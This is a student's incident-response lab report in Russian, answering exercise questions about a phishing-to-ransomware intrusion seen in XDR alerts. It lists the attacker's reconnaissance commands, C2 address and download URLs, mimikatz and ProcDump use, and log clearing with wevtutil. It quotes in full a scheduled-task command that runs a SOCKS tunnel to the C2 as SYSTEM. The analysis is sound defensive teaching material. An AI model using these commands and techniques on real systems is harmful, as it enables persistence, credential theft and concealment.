Выполнил: Ушаков Андрей Вячеславович (M245433)

БЛОК 1. Получение первичного доступа

Вопрос 1. Какое имя задействованного в инциденте хоста?
Ответ: win1

Вопрос 2. В каком домене находится хост, задействованный в инциденте?
Ответ: demo.net

Вопрос 3. Пользователем было открыто фишинговое письмо и запущен вредоносный файл из вложения. Какое имя файла или полный путь расположения вредоносного файла на хосте пользователя?
Ответ: Project3.exe (C:\Users\администратор\Desktop\Project3.exe)

БЛОК 2. Разведка, изучение окружения

Вопрос 4. Изучите события с хостов. Какие команды использовались злоумышленником для проведения разведки на хосте?
Ответ:
1. whoami.exe
Описание: Команда whoami отображает сведения о пользователе, группах и привилегиях для учетной записи, вошедшего в локальную систему. При выполнении без параметров whoami возвращает текущее доменное имя и имя пользователя.
Почему вызывает подозрение: обычному пользователю (не IT специалисту) в повседневной работе не нужна; часто используется при атаке для проверки того, под каким именно пользователем сейчас работает атакующий.
2. net user Администратор /domain
Описание: net user — это команда в командной строке Windows, используемая для управления учетными записями пользователей, включая их добавление, удаление, редактирование или просмотр
Почему вызывает подозрение: обычному пользователю (не IT специалисту) в повседневной работе не нужна; часто используется при атаке, чтобы узнать информацию о пользователях или создавать/модифицировать учетные записи
3. net localgroup /domain
Описание: Команда net localgroup используется для редактирования локальный групп пользователей компьютера с операционной системой Windows. С помощью данной команды можно добавить или удалить пользователей и группы из локальных групп операционной системы. Или просто просмотреть их.
Почему вызывает подозрение: обычному пользователю (не IT специалисту) в повседневной работе не нужна; часто используется при атаке, чтобы узнать информацию о локальных группах или создавать/модифицировать их.
4. nltest /trusted_domains
Описание: Эта команда выводит список доверенных доменов, позволяя видеть связи между различными сегментами сети или организациями.

Почему вызывает подозрение: обычному пользователю (не IT специалисту) в повседневной работе не нужна; часто используется при атаке, чтобы узнать больше информации о конфигурации сети.
5. nltest /dclist:DEMO
Описание: Команда nltest /dclist в Windows используется для получения списка всех контроллеров домена (DC) в текущем домене. Эта утилита также может использоваться для отображения информации о доверительных отношениях между контроллерами домена.
Почему вызывает подозрение: обычному пользователю (не IT специалисту) в повседневной работе не нужна; часто используется при атаке, чтобы узнать больше информации о конфигурации сети.

Вопрос 5. Изучите сигнатуры из алерта. Какое имя txt-файла, в который записывается результат вывода команд?
Ответ: 1C_Logs.txt (C:\temp\1C_Logs.txt)

Вопрос 6. Какой адрес C2 злоумышленника, куда выгружается txt-файл с выводом команд?
Ответ: 45.67.229.72 (http://45.67.229.72:8080/upload)

Вопрос 7. Какая системная утилита использовалась злоумышленников для выгрузки txt-файла на командный центр?
Ответ: curl

БЛОК 3. Закрепление

Вопрос 8. Изучите алерты и события с хоста. Какие ресурсы использовались для загрузки инструмента CobInt?
Ответ:
http://koh.fsbkal.com/
http://urk-net.website/
http://connect.otherlive.com/

Вопрос 9. Как назывались файлы, которые были загружены с ресурсов из предыдущего вопроса?
Ответ
с http://koh.fsbkal.com/ - 001.ps1
с http://urk-net.website/ - kavupdate.ps1
с http://connect.otherlive.com/ - 005.ps1

Вопрос 10. Есть события, свидетельствующие об отключении встроенных средств защиты. Какое это средство защиты?
Ответ: Windows Defender

БЛОК 4. Контроль над системой

Вопрос 11. Изучите события с хоста. Какой полный URL, с которого был загружен ProcDump?

Ответ: https://download.sysinternals.com/files/Procdump.zip

Вопрос 12. Изучите события с хоста. Какое имя дампа памяти, полученного с помощью ProcDump?
Ответ: 1.dmp

Вопрос 13. Изучите события с хоста. Какой полный URL, с которого был загружен mimikatz?
Ответ: https//github.com/ParrotSec/mimikatz/archive/refs/heads/master.zip

БЛОК 5.Углубленная разведка

Вопрос 14. Изучите события с хоста. Какой полный URL, с которого был загружен AdRecon?
Ответ: https://github.com/sense-of-security/ADRecon/archive/refs/heads/master.zip

Вопрос 15. Изучите события с хоста. В какой директории на задействованном в инциденте хосте расположен архив AdRecon? Укажите полный путь директории
Ответ: C:\Users\Public\AdobeFilter\

Вопрос 16. Какой результат запуска инструмента AdRecon?
Ответ:
Из анализа событий следует, что AdRecon собрал информацию о конфигурации Active Directory и сохранил ее в различных csv файлах. Можно предположить, что была собрана следующая информация:
1. Домены (Domain, Domain controllers): информация о доменах и о контроллерах доменов
2. Лес (Forest): информация об иерархии доменов
3. Сайты (Sites): информация о логическом представлении сети
4. Политика паролей (password policy): информация о политиках паролей
5. Пользователи (Users): информация о зарегистрированных пользователях
6. Службы SPN: Имена служб SPN (Service Principal Names)
7. Группы (Groups, Group members): информация о группах и членстве в них
8. Организационные единицы (OU)
9. Объекты групповых политик (GPO)
10. DNS-зоны (DNS zones): Записи DNS зон
11. Компьютеры (Computers)
12. ACL: информация о записях ACL
13. Ключи восстановления Bitlocker

БЛОК 6. Резервные каналы доступа

Вопрос 17. Изучите события с хоста. Как называется скрипт, скачанный с C2 злоумышленника и запускающий отложенную задачу?
Ответ: logs_assisstant.ps1

Вопрос 18. Изучите алерты. Какие действия в системе создает задача, обнаруженная на предыдущем шаге?

Ответ:
При анализе алертов можно найти следующий вызов
schtasks /create /tn "NetSync" /tr "cmd.exe /c \"C:\Windows\Logs\NetSetup\netsync.exe -socks 127.0.0.1:1080 -connect 45.67.229.72:1081 -pass qwerty123ytrewq -tls\"" /sc minute /mo 45 /ru SYSTEM
Здесь schtasks - стандартное средство управления планировщиком.
Ключ /create - создание новой задачи.
Ключ /tn "NetSync" - имя создаваемой задачи ("NetSync").
Ключ /tr “cmd …” - создание команды для исполнения процесса (netsync.exe), который соединяется с удалённым хостом (45.67.229.72).
Ключи /sc minute /mo 45 - частота запуска задачи: каждые 45 минут.
Ключ /ru SYSTEM - задание выполняется от имени SYSTEM.
Видно, что создается задача на регулярное выполнение (каждые 45 минут) программы netsync.exe, которая осуществляет подключение к удаленному серверу злоумышленника (по адресу 45.67.229.72) от имени SYSTEM.

БЛОК 7. Уклонение от обнаружения

Вопрос 19. Изучите алерты. Каким образом злоумышленники уклонялись от обнаружения (заметали следы)?
Ответ:
Из анализа алертов можно сделать следующие выводы:
1. Использование стандартных механизмов windows для очистки: запуск команды wevtutil.exe с ключом cl (clear log).
2. Сохранение загруженных bat файлов в системных директориях: файлы с расширением RDP.bat и clean.bat. были получены с удаленного сервера командой curl и сохранены в директории %windir%\Logs\NetSetup.
3. Запуск большинства процессов от имени администратора (от имени УЗ “Администратор”).
4. Создание кратковременных процессов для выполнения только одной команды, что снижает вероятность детектирования.

Вопрос 20. Изучите алерты. Какой (какие) .bat – файл(-ы) был(-и) загружен(-ы) с C2 для уклонения от защиты?
Ответ:
clean.bat
RDP.bat

БЛОК 8. Сбор данных для эксфильтрации. Эксфильтрация

Вопрос 21. Какая легитимная утилита была использована для восстановления и сбора данных на хосте?
Ответ: GiliSoftDataRecoveryPortable_6.0.0_EN-CN.paf.exe (Gilisoft Data Recovery Portable)

Вопрос 22. С какого ресурса была скачана утилита? Укажите ресурс или полный URL.
Ответ:
https://f3.2rsload.ru/files/load1/072/GiliSoftDataRecoveryPortable_6.0.0_EN-CN.paf.rar

БЛОК 9. Шифрование

Вопрос 23. Изучите алерт. Какое имя файла, являющимся шифровальщиком?
Ответ: kaspersky.exe

Вопрос 24. Изучите алерт.Какой хэш исполняемого файла-шифровальщика?
Ответ: SHA1 0475d9d3485583090f00b1c37450771ccd0df00e

Вопрос 25. Изучите отчет по файлу. Атрибуция какого (каких) семейств вредоносного ПО (шифровальщиков) присвоена в системе XDR?
Ответ:

- TeslaCrypt – программа-вымогатель, появившаяся в 2015 году. Первые версии программы-вымогателя TeslaCrypt были нацелены на шифровывание файлов, связанных с определёнными играми (профили игроков, сохранения, карты и проч.), однако уже следующие версии шифровали документы, фотографии и файлы с другими расширений. Помимо шифрования файлов на системных дисках, съемных дисках, сетевых ресурсах TeslaCrypt пытается удалить все теневые копии томов и точки восстановления системы, чтобы предотвратить восстановление файлов. TeslaCrypt также может определить, работает ли он в виртуальной среде, прежде чем выполниться, чтобы предотвратить анализ.
- Шифровальщик LockBit – это вредоносное программное обеспечение, блокирующее доступ к компьютерным системам и требующее от пользователя выкуп за восстановление данных. LockBit автоматически отыскивает подходящую жертву, распространяется по сети и зашифровывает все данные на зараженных устройствах.